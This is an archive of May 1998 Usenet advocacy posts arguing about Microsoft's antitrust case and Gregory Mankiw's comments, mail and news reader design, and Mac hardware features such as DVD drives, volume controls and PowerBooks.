> "Windows"
> Windows "95"
> Windows "NT"
> Microsoft "Word"
>
> And of course, they copyrighted the words "Windows" and "Word", and the number
> "95". God bless them.
The best part about this is that they copyright "Windows" (I don't know
about "Word") and forbid anyone from using it.
Then 3Com copyrights "Palm Pilot" and MS comes out with "Palm PC". They
argue that "Palm" is too generic to be trademarked.
Can you say "hypocracy"?
(note, the _did_ back down on "Palm PC", I believe--but they certainly did
make the argument that it was generic).
>
> And I think we've all grown to love the famous "windows-within-a-window"
design
> of most of Microsoft's UI. What genius(es) at Microsoft decided that it
would be
> beneficial to have an application's windows inside of another main window?
Again, you're missing the best part.
SOME MS apps have windows within a window, while others don't. So, you
have the effect that your apps behave differently. This was a lengthy
thread a while ago. Some apps quit when you close the last document and
others don't.
>
> However, I would like to give credit where credit is due. I believe Microsoft
> actually did create the "RTF" specification and even Structured Query Language
> (SQL). Quite a set of contributions from a $30 billion dollar company! :)
I don't think SQL was a MS innovation. I know, for example, that I was
using it before it appeared in a MS product.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sat, 09 May 1998 08:01:58 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Message-ID: <joe.ragosta-0905980801580001@elk74.dol.net>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <355337E7.AB397170@alum.mit.edu> <fuR41.360$sy4.1232831@news.rdc1.sdca.home.com> <35540431.47775518@common.se>
In article <35540431.47775518@common.se>, anders@common.se wrote:
> Rex Riley wrote:
>
> > > From: "N. G. Mankiw" <ngmankiw@fas.harvard.edu>
> > > To: Eric Hermanson <eric@alum.MIT.EDU>
> > >
> > > I have no opinion about Windows 98 or any other operating system.
> > My
> > > remarks were about the government's pending decision to replace with
> > the
> > > free market's judgment with its own. I am not an advocate for
> > Microsoft.
> > > I am an advocate for an unfettered market economy.
> >
> > If the good professor isn't bought and paid for, he is only guilty of
> > having
> > fallen for the MS mantra of "freedom".
>
> Noninterventionist economists are not "guilty" of anything and certainly
> don't need any "MS mantras" to sustain their views.
>
Doesn't matter.
This guy contradicted himself. First he equated Win98 with human progress.
Then he stated that he has no opinion on Win98.
That makes him a fool or a liar.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sat, 09 May 1998 08:02:50 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Message-ID: <joe.ragosta-0905980802500001@elk74.dol.net>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <355337E7.AB397170@alum.mit.edu> <35534C47.454F66AA@trilithon.com>
In article <35534C47.454F66AA@trilithon.com>, Henry McGilton
<henry@trilithon.com> wrote:
> Eric Hermanson wrote:
>
> * Anyway, for all those interested, here is Dr Mankiw's
> * 'cop-out' response to me via email:
>
> * * Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING
> MICROSOFT
> * * Date: Thu, 7 May 1998 17:17:09 -0400 (EDT)
> * * From: "N. G. Mankiw" <ngmankiw@fas.harvard.edu>
> * * To: Eric Hermanson <eric@alum.MIT.EDU>
>
> * * I have no opinion about Windows 98 or any other
> * * operating system. My remarks were about the
> * * government's pending decision to replace with the
> * * free market's judgment with its own. I am not an
> * * advocate for Microsoft. I am an advocate for an
> * * unfettered market economy.
>
> Hi Eric. Maybe it's just me, but I didn't read his remarks
> to you as a cop out. What I read into his reply to you is
> that he wants the government out of free-market decision
> making. We have ample historical evidence that governmental
> interference in the operations of the marketplace either don't
> change anything very much, or are a positive drag on the
> business(es) under consideration.
Then why did he equate Win98 with human progress?
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: Malcolm Lawrence <malcolm@wolfenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Babel seeks anonymous Microsoft source
Date: Fri, 08 May 1998 11:27:44 -0700
Organization: http://www.towerofbabel.com
Message-ID: <35534E9E.C71FD0BD@wolfenet.com>
References: <35521108.667D@CONVEX.COM> <3552159A.F2105167@alum.mit.edu> <6itah4$1sd@bgtnsc03.worldnet.att.net> <6iv562$dsl$1@new-news.cc.brandeis.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Babel seeks an anonymous Microsoft source.
Satisfied with the money and the stock options but need a place to vent
with how Microsoft has made you paranoid of your fellow coworkers, let
alone humanity in general?
Has your conscience been bothering you since you started to work for a
CEO who admits he doesn't believe in God?
Tired of having to move buildings every three months simply so human
resources can ask you how you felt about the move?
Mad as hell about having to earn your pay while working in a
psychological warzone?
Has Microsoft's digital nervous system given you a digital nervous
breakdown?
Wish you were still a Jedi Knight?
Babel seeks an anonymous Microsoft source for the Our Man In Havana
section. Care to be Our Conscience At Microsoft? Your position is of no
importance. Whether you're Steve Ballmer, Michael Kinsley, or the person
who draws up the contracts for Windows95 licenses, Babel wants to give
your conscience a chance to breathe. Complete anonymity will be provided.
Let the world know exactly how it feels to sell your soul. We'll put you
in the Our Man In Havana section right between Our Man In Church and Our
Man In Prison. Get a hold of malcolm@wolfenet.com.
Malcolm Lawrence
Editor-in-chief
Babel
http://www.towerofbabel.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
From: phenix@interpath.com (John Moreno)
Message-ID: <1d8pm97.5ei9u90dr5N@roxboro0-034.dyn.interpath.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net> <6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM> <6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM> <6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net> <6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com> <354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us> <6in6mv$3of$4@ns3.vrx.net> <6io37n$hdg$1@new-news.cc.brandeis.edu> <rmcassid-0505981552450001@dante.eng.uci.edu> <1d8mxoz.1mamdaebboh62N@roxboro0-028.dyn.interpath.net> <rmcassid-0705980023250001@dialin33419.slip.uci.edu>
Organization: phenix@interpath.com
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: never
Date: Fri, 08 May 1998 16:40:27 GMT
NNTP-Posting-Date: Fri, 08 May 1998 09:40:27 PDT
Robert Cassidy <rmcassid@uci.edu> wrote:
> phenix@interpath.com (John Moreno) wrote:
>
> > Robert Cassidy <rmcassid@uci.edu> wrote:
> >
> > > Importing and exporting mailboxes is a pain in the ass, agreed. The filter
> > > interface is a bit cluttered, but quite functional. Best of all, however,
> > > is being able to trigger an AS with an incoming message or to schedule
> > > execution of an AS. Nothing else I know of does this, and it is quite
> > > wonderful as there is no provision for hooking into an OS level service on
> > > the MacOS (which would be better, IMO).
> >
> > Schedule a execution of a an AS?
>
> Oh yeah, it kicks ass. I used it to replace cron on a few of my machines
> because it was just easier to use for my case.
OK, I'd forgotten about that. But it's not what I was thinking of (I
thought you were saying it was possible to do it as part of a schedule,
i.e. run AS X minutes after completing connection).
> > I've got a perl/AS script that grabs messages that go into my mailing
> > list folder and puts them into a soup file for importing into MacSOUP
> > and one of the things I've considered is to have the messages converted
> > as soon as a connection is done - but I haven't figured out how to do
> > it. As it is the script has to be run by hand and I tend to let it
> > slide until I have 10-15 messagses (where it takes a minute or two
> > because AS is dog slow).
>
> Emailer has two functions that might be useful to you.
>
> 1) you can have a filter trigger the execution of an AS. The filter will
> file, trash, reply to, whatever, a message and at the end run an AS so you
> can then extend Emailers filtering capabilities. In your case, you could
> filter by mailing list and convert those messages as they come through.
I haven't tried this, because I think it'd be just too slow to try to
run for every message - one of the list is fairly active.
> 2) a schedule can either initiate a connection (in or out or both) *or*
> execute an Applescript. You can set it up as timed or repeating so you
> could have it fire off a few minutes or seconds after the connection goes.
I sometimes get some really large messages, and I have a slow
connection, I don't think I could set this just right, I guess I could
have it run once a day around 5am.
But what I'd really like is a way to automatically run the script AFTER
all of the mail has been downloaded and only if a mailbox has new mail.
Say something like a cross between the current mail action and the
schedules.
> The nice thing about it's scheduling is that you can turn individual
> schedules on or off with a mouse click, which beats hacking up crontabs
> for me. Plus you can ask a schedule to fire off at any time with a menu
> selection, or you can fire off the AS from the scripts menu. Emailer is
> really scriptable too, better than Eudora which is fairly brain dead in
> comparison - though better than it was.
Yes, the above perl/AS script was originally written for Emailer (and
that's what I use it with) and the AS portion is more clear cut and
reliable.
> SpeedDoubler does wonders for AS performance, BTW. So does a G3, but the
> former is a bit cheaper ;-)
I think I'll wait for them to make AS native and see what that does.
> > BTW - if anybody is interested the script (modified for working with
> > Eudora) was recently posted to comp.sys.mac.comm.
>
> I'll check it out.
Anybody that is reading a large mailing list should be reading it in a
threaded newsreaders IMO and it's either this or pipe it into a local
newsgroup - and IMO the thread view in MacSOUP is superior to MT's. My
only real complaint is that MacSOUP doesn't use a attribution for a mail
reply and so for best results it's necessary to start off as a "news"
reply, change the attribution, and then change to mail. Stefan may
address that in a future version, but for now it's a pain. One I'm
tempted to address by hacking the program again.
--
John Moreno
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
From: phenix@interpath.com (John Moreno)
Message-ID: <1d8q0gm.jldhvbdc935N@roxboro0-034.dyn.interpath.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net> <6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM> <6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM> <6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net> <6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com> <354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us> <354f7928.0@news.depaul.edu> <6indtv$c0h$5@ns3.vrx.net> <rmcassid-0505981451530001@dante.eng.uci.edu> <6ip8au$oum$10@ns3.vrx.net> <SCOTT.98May6131834@slave.doubleu.com> <6irt0u$r1i$2@ns3.vrx.net> <6iv77u$j0f$1@crib.bevc.blacksburg.va.us> <6iup7q$7c9$1@ns3.vrx.net> <6ivgsg$jfl$1@crib.bevc.blacksburg.va.us> <6iv3d3$ekq$1@ns3.vrx.net> <1d8pv67.7o787lqz5wfjN@roxboro0-034.dyn.interpath.net> <6ivb91$k58$1@ns3.vrx.net>
Organization: phenix@interpath.com
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: never
Date: Fri, 08 May 1998 22:29:17 GMT
NNTP-Posting-Date: Fri, 08 May 1998 15:29:17 PDT
Maury Markowitz <maury@remove_this.istar.ca> wrote:
> In <1d8pv67.7o787lqz5wfjN@roxboro0-034.dyn.interpath.net> John Moreno
> claimed:
> > > No, the way they did it was to add another feature -
> > > open-in-same-window. Lots of programs do this. Even FirstClass
> > > managed it.
> >
> > I believe the point is that the user has to mainly ignore the feature
> > for it to work.
>
> That sounds like natural design to me!
>
> Use normal command - get normal behaviour.
> Use new command - get new behaviour.
>
> Where exactly is the problem here? The fact that there's a new command?
> The fact that it works in every program I've used? The fact that no one
> seems to have a problem with it?
A lot of things can work OK if you know to how to handle it right, for
news it's generally better for opening a new article take place in the
current window, in mail it's generally OK to open up a new window for
each message.
The problem - I like double clicking to chose what to read, especially
in news. Can these two be made to work together, yes. Can the
preferred default behavior of each be the opposite, yes.
> > If I'm reading it right it's a argument - it's saying that that feature
> > as described and with no limits isn't a good thing.
>
> Then why is it no one has ever had this problem?
>
> > Opening a new window for every mail message isn't a problem since the
> > quantity of mail that you will be receiving at any one time is probably
> > low enough to make it manageable
>
> Let me make sure I'm understanding your argument - the fact that an
> interface works in one case and not another is a bad thing. Therefore the
> whole thing is bad. How is it that a clear and obvious fix, one in
> widespread use, has no effect on your argument?
No, when a interface works in one circumstances and doesn't in another,
then trying to use it for both is a bad thing.
> Sheesh, talk about a brick wall thread! Sure, interfaces can not work
> under some cases. Yes, some interfaces don't scale well. But they've found
> solutions to these problems. So how is it still a problem?
Nothing - except you seem to be saying that the solution that was found
was/would be better than the solutions already used for the separate
interfaces. And this would be because "there is no difference". Well
there is a difference.
> Doc, it hurts when I open my messages all in the same window...
>
> > I believe he's pointing that fact out - mail and news are similar and
> > can be handled in similar manners, but you need to be aware of the
> > differences (as in my vacation notice example).
>
> Which is also handled perfectly in any good program! Do not allow
> autoreplies to newsgroups. Done.
WHAT!!! But that implies that there is a DIFFERENCE between mail and
news! You can't DO that, they ARE the SAME.
Or maybe they aren't and the fact that they have historically been
separate wasn't just a accident.
> > They CAN be profitably handled by the same program, but you seem to be
> > saying that is the ONLY way to handle them - which is what I believe
> > most people are objecting to.
>
> I've REPEATEDLY stated I think it's BETTER that way. OBVIOUSLY it can be
> handled by two programs, because I'm USING two programs.
The only GOOD way then (not just better, IMO your statements are
stronger than that and imply that any program that doesn't do both is
inferior to one that does - this despite your comments about netscape).
> But that's not what this thread is about lately, it's about how it's
> "unwise" to make a combined app because of all of these mythical differences
> between the two systems. I say if you think there's any real difference then
> you're thinking "inside the box".
Then why the hell are you disallowing autoreplies to newsgroups?
Thinking "inside the box" again, I see.
There are real differences. A simple one is that (IMO at least) mail is
better viewed where mailboxes and the subjects are in a paned view,
while news is better viewed with a window for each group. Why? Because
you don't typically do a lot of moving around of articles in newsgroups
while you do with messages in mailboxes, and I think it's better to not
have to worry about the focus for newsgroups.
Threading is good for news - and in mail (with the exception of mailing
list) it is at for the most part unnecessary.
I don't say it's unwise to combine the two - as long as the very real
difference are kept in mind. I will say I think it's more likely for a
person focused on just news or just mail to create a better mail or news
experience than someone splitting their attention between the two.
BTW - Thanks. I've been using a perl/AS script that enables me to use
YA-NewsWatcher as my editor for outgoing mail, and I've just thought of
a way to make that work better. Not as good as having a better editor
for Emailer, but better.
--
John Moreno
From: Arun Gupta <suvidya@worldnet.att.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: Sat, 09 May 1998 09:24:04 -0400
Organization: AT&T WorldNet Services
Message-ID: <6j1lcc$ji3@bgtnsc01.worldnet.att.net>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net>
<355337E7.AB397170@alum.mit.edu> <fuR41.360$sy4.1232831@news.rdc1.sdca.home.com> <35540431.47775518@common.se>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit
Anders Ohlsson wrote:
> Noninterventionist economists are not "guilty" of anything and certainly
> don't need any "MS mantras" to sustain their views.
Talking about "non-interventionists" , I think these are straining at the
minnow of
the anti-trust laws, while ignoring the whales, just a few :
a. Why does a government body, the Federal Reserve, set interest rates and
thereby
make the choices for everyone about the trade offs between unemployment,
inflation,
corporate profits, and economic growth ?
I think that the Federal Reserve has more effect on your life than any
other
government body.
b. Doesn't the taxation policy greatly modify what behavior would be in the
"untrammeled
free market" ? Why is this acceptable ?
c. Isn't so-called software, video, audio "piracy" in reality the
"untrammeled free market"
at work ? Why is this, instead, deemed a crime ?
d. Why do we have government issued currency ? As it used to be a century
and a half ago,
why don't we have banks issuing their own currency ?
e. Why are banks required to keep certain reserves, why are there
requirements on having to
maintain margins ?
Why is insider trading frowned upon ?, etc., etc.
I am no economic theorist, but I suspect that the "untrammeled free market"
is a fictitious
entity. Perhaps it could be maintained by perfectly rational cooperating
beings; but there will
always be an advantage to "defecting" when the majority is "cooperating",
(as in the language
of the prisoner's dilemma). Therefore, there are rules, and rules-enforcing
bodies, and the
free market is less "free", but more likely to work - just as traffic flows
smoothly when
everyone follows the rules, and there is effective rule-enforcement to
dissuade rule-breakers.
(the streets in some Indian cities provides an example of what happens in a
system without rules).
Human progress has happened, because, by trial and error, we've discovered
a pretty good
set of rules; far from perfect these are, and definitely not ideologically
pure.
Whether Microsoft has broken these rules is to be determined, by following
the prescribed procedures
provided by law. There is no extra government intervention in this, any
more than in any other
area of the market. Sand would be thrown in the gears of human progress,
if the rules are not
followed.
-arun gupta
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: The killer app....
Date: Fri, 08 May 1998 12:30:00 -0700
Organization: UC Irvine
Message-ID: <rmcassid-0805981230000001@dante.eng.uci.edu>
References: <6ilrs8$27f$1@ha2.rdc1.nj.home.com> <01bd77d6$6320c2c0$04387880@test1> <354F8D13.EE@earthlink.net> <rmcassid-0605981145470001@dante.eng.uci.edu> <35524F6F.5442@earthlink.net>
In article <35524F6F.5442@earthlink.net>, skellener@earthlink.net wrote:
>Robert Cassidy wrote:
>> That'd be a great argument except that Apple does sell a DVD drive for the
>> G3, both desktop and laptops. The desktop ones have been around for a
>> month or so though they were delayed in shipping to customers a bit at
>> first.
>
>Apple had stated it wanted to be the first to ship with DVD long ago.
>It wasn't. DVD on PC's has been around almost a year. Apple is only
>just now selling 'em. There still isn't a DVD available for older
>Macs. Cool DVD will be hear in June. Oh Joy. One product from one
>company. No competition. Wonder how much they'll charge? I still want
>one though!
Well, there isn't much that Apple can do to cause others to make a DVD
drive. The drivers are out and can be shipped, AFAIK. Any SCSI DVD drive
should just work. As for the MPEG-2 support, there is one company
promising (shipping yet?) it, and methinks that Apple wouldn't sell a DVD
drive to customers unless they had a MPEG-2 decoder in the works. I'd
guess there's one coming as a QT3.0 codec ala the MPEG one they shipped a
year ago or so.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Fri, 08 May 1998 12:34:22 -0700
Organization: UC Irvine
Message-ID: <rmcassid-0805981234220001@dante.eng.uci.edu>
References: <6ip03a$di9$1@crib.bevc.blacksburg.va.us> <B1759745-221A2@206.165.43.102> <6iptqc$4f3$2@ironhorse.plsys.co.uk> <6itjb5$hq0$1@nntp3.interaccess.com> <6iugi6$4f3$7@ironhorse.plsys.co.uk>
In article <6iugi6$4f3$7@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
>I don't care, though, what the volume setting number is -- I usually want to
>change the volume when I'm listening to something, so I get direct audio
>feedback. Most frequently I want to mute the whole thing immediately, which
>I can achieve using the Command-soundDown key combination. To open a control
>panel and find the mute switch takes longer.
Doesn't matter. AppleVision offers a small volume indicator that pops up
on your monitor when you push the buttons. I adjust the volume on mine via
the buttons on the monitor and get both auditory and visual feedback. Tons
of Macs work like this.
I say put both controls in. Though I like GoMac better for Control Strip
Modules than Apple's utility. I find I use both the CSM and the hardware
buttons about as often - depending on what I'm doing.
A system-wide hardware mute button is a different matter. That should
always be avialable...
-Bob Cassidy
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Date: Sat, 9 May 1998 08:56:36 -0500
Organization: Prairie Group
Message-ID: <MPG.fbe1c8dee7b6c0998968e@news.supernews.com>
References: <6it738$ceg$1@newsfep4.sprintmail.com> <Barry-ya02408000R0705982252550001@nntp.netgate.net> <6ivef6$ntb$1@newsfep2.sprintmail.com> <MPG.fbd4dd53eb17576989685@news.supernews.com> <6j06jk$pv4$2@newsfep4.sprintmail.com> <6j093p$2th$1@nntp2.ba.best.com> <6j0ant$sph$1@newsfep4.sprintmail.com> <MPG.fbd6e4656c1ea7598968b@news.supernews.com> <joe.ragosta-0905980718280001@elk74.dol.net>
In article <joe.ragosta-0905980718280001@elk74.dol.net>,
joe.ragosta@dol.net says...
> > Which means my home development environment is identical to my office
> > development environment is identical to my hotel room development
> > environment is identical to my travelling development.
> >
> > Which is very cool.
>
> Yep. I'm approaching the point where I may have a single computer -- a
> PowerBook G3. It's not in the budget this year, but I'm going to try for
> it next year. No more transferring files. And with Location Manager,
> configuration for different locations is a breeze.
>
Yes. The Location Manager is the best "little idea" that has come out
from Apple in years! It switches my mac between Ethernet TCP at the
office and PPP at home, switches printers, and even there are some apps
(like my QuickMail LAN program) that I only want to start up when I'm at
the office.
I've got it set so, when I start up, it asks me which location I'm in.
As opposed to this Windows laptop. I don't have to switch between TCP
settings (Windows can have multiple TCP devices active at the same time),
but I regularly try to print to the wrong printer and at home I've got a
bunch of apps that launch that I don't want when I'm home.
Donald
From: hutchens@cs.millersv.edu (David H. Hutchens)
Newsgroups: comp.sys.next.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: 9 May 1998 13:45:41 GMT
Organization: East Stroudsburg University, Pennsylvania
Message-ID: <6j1mm5$rh3$1@jake.esu.edu>
References: <35540431.47775518@common.se>
In article <35540431.47775518@common.se> Anders Ohlsson <anders@common.se>
writes:
> Rex Riley wrote:
>
>
> (That's not to say that MS never buys professors. In fact, they're
> openly paying those who mention or use Microsoft products in their
> lectures. Of course, it's just a little "help to cover their costs".)
>
Really! Where do I apply for some of the "cover their costs" funds?
I regularly mention MS in my lectures.. They provide my favorite
"How not to" examples in Operating Systems, Software Engineering,
User Interface Design, and a host of other topics.
- David Hutchens
Hutchens@cs.millersv.edu
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: Sat, 9 May 1998 09:17:14 -0500
Organization: Prairie Group
Message-ID: <MPG.fbe216587510224989691@news.supernews.com>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <355337E7.AB397170@alum.mit.edu> <fuR41.360$sy4.1232831@news.rdc1.sdca.home.com>
In article <fuR41.360$sy4.1232831@news.rdc1.sdca.home.com>,
rriley@yahoo.com says...
> If the good professor isn't bought and paid for, he is only guilty of having
> fallen for the MS mantra of "freedom". I fell for this freedom ring for
> about 30 sec. until I realised our Founding Fathers crafted the Constitution
> around the fundamental principle of Freedom for "People". What Freedom Dear
> Mr. Mankiw do People have when this free and unfettered market economy of
> yours and MS only supports a choice of one, Microsoft? Does Corporate freedom
> replace Individual freedom in America?
>
Bill Gates is an Individual. Everyone who works at Microsoft, or at the
various computer makers, are Individuals. Those who bought Wintel
machines were Individuals uing their freedom to pick what system to use.
Microsoft should be punished for the laws they have broken. But, that's
all they should be punished for. If they're punished for being
successful, that's wrong.
Donald
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Date: Fri, 08 May 1998 14:00:08 -0700
Organization: UC Irvine
Message-ID: <rmcassid-0805981400080001@dante.eng.uci.edu>
References: <6it738$ceg$1@newsfep4.sprintmail.com> <Barry-ya02408000R0705982252550001@nntp.netgate.net> <1d8p8e2.14z9x3g1sihky4N@p002.intchg2.net.ubc.ca> <6ivlvl$9tq$1@larry.admin.phil.uu.nl>
In article <6ivlvl$9tq$1@larry.admin.phil.uu.nl>, freek@phil.uu.nl (Freek
Wiedijk) wrote:
>These are _exactly_ the features I think are important.
>Please note the super-rugged. Please note the lightweight.
>(And if possible integrate the power supply & power cable in
>some way in the shape of the thing: people are taking these
>items with them anyway all the time, and having a separate
>item that bumps around in your bag is _awkward.)_
A pull-out cord like a hairdryer or some vacuum cleaners?
-Bob Cassidy
From: Anders Ohlsson <anders@common.se>
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: Sat, 09 May 1998 16:41:30 +0200
Organization: substandard
Message-ID: <35546B10.3F19EE93@common.se>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <355337E7.AB397170@alum.mit.edu> <fuR41.360$sy4.1232831@news.rdc1.sdca.home.com> <35540431.47775518@common.se> <joe.ragosta-0905980801580001@elk74.dol.net>
Mime-Version: 1.0
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Joe Ragosta wrote:
> > Noninterventionist economists are not "guilty" of anything and
> certainly
> > don't need any "MS mantras" to sustain their views.
>
> Doesn't matter.
>
> This guy contradicted himself. First he equated Win98 with human
> progress.
> Then he stated that he has no opinion on Win98.
>
> That makes him a fool or a liar.
Here's the full coverage:
Another supporter called on by the software giant was Gregory Mankiw,
professor of economics at Harvard University, who said the government's
attempt to delay Windows 98 "would throw sand into the gears of human
progress."
"As technology evolves, some companies rise and others fade away by
consumers are better served," he said.
Mankiw said government regulators should have the same purpose as
physicians which is to "do no harm."
Note where the quotation marks are. I don't see him actually equating
Win98 with human progress. And he doesn't need to know anything about
it: I'd assume he's talking about the principles of an economic theory
as *applied* to an individual case, not as *derived* from any particular
product.
Even if MS is covering his "expenses", there are enough "unfettered
market economy" professors around for MS to be able to find one without
having to settle for fools or liars.
And even if MS is eventually found guilty of a crime, it's possible to
have different opinions on at which point in the process it would be
reasonable to let the government freeze the business plan of the company
being investigated.
/A
From: Anders Ohlsson <anders@common.se>
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: Sat, 09 May 1998 17:00:06 +0200
Organization: substandard
Message-ID: <35546F6B.AE86E08@common.se>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net>
<355337E7.AB397170@alum.mit.edu> <fuR41.360$sy4.1232831@news.rdc1.sdca.home.com> <35540431.47775518@common.se> <6j1lcc$ji3@bgtnsc01.worldnet.att.net>
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Arun Gupta wrote:
> I am no economic theorist, but I suspect that the "untrammeled free
> market"
> is a fictitious entity.
I don't think Mankiw is going to expand on his concept of a free market
in *.advocacy :-)
> Human progress has happened, because, by trial and error, we've
> discovered
> a pretty good set of rules; far from perfect these are, and definitely
> not ideologically pure.
That's certainly true. I'd use the word invented rather than discovered,
though. Actually, it's a Microsoft world - we're constantly in beta.
/A
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 9 May 1998 11:50:39 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6j1u0f$l63$1@crib.bevc.blacksburg.va.us>
References: <6ip03a$di9$1@crib.bevc.blacksburg.va.us> <6itjb5$hq0$1@nntp3.interaccess.com> <6iugi6$4f3$7@ironhorse.plsys.co.uk> <rmcassid-0805981234220001@dante.eng.uci.edu>
In article <rmcassid-0805981234220001@dante.eng.uci.edu>, rmcassid@uci.edu (Robert Cassidy) wrote:
> Doesn't matter. AppleVision offers a small volume indicator that pops up
> on your monitor when you push the buttons. I adjust the volume on mine via
> the buttons on the monitor and get both auditory and visual feedback. Tons
> of Macs work like this.
> I say put both controls in.
I don't think many people argue against _more_ options, as long as the
options they don't want don't have to be visible to them, and they don't
have to pay extra for them. (This could present a problem with keyboard
keys for people who want a smaller keyboard profile, since those can't
be removed.. but IMHO that's usually not a terribly big concern and
you can always get rid of some useless legacy keys anyway..)
> A system-wide hardware mute button is a different matter. That should
> always be avialable...
Agreed.
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 08 May 1998 16:14:16 -0700
Organization: UC Irvine
Message-ID: <rmcassid-0805981614160001@dante.eng.uci.edu>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <stone-ya02408000R0505980240210001@news.enetis.net> <6inoup$ejt$1@gte2.gte.net> <rmcassid-0505981303570001@dante.eng.uci.edu> <6ipuo7$606$1@strato.ultra.net> <rmcassid-0605981338290001@dante.eng.uci.edu> <6ivmks$o8s$1@nnrp1.dejanews.com>
In article <6ivmks$o8s$1@nnrp1.dejanews.com>, dpetticord@hotmail.com wrote:
>In article <rmcassid-0605981338290001@dante.eng.uci.edu>,
> rmcassid@uci.edu (Robert Cassidy) wrote:
>>
>
>Bob,
>
>I am new to Deja News. Now, I see that you did reply to my previous post.
>I apologize for accusing you of ignoring it.
Nah, don't sweat it. In my opinion, .advocacy is where you get to turn off
the filters once in a while and say things that you later wish you hadn't
and other sorts of things like that. It's part of the fun.
>You made some good points. I will re-respond at length later.
Look forward to it.
-Bob Cassidy
From: Henry McGilton <henry@trilithon.com>
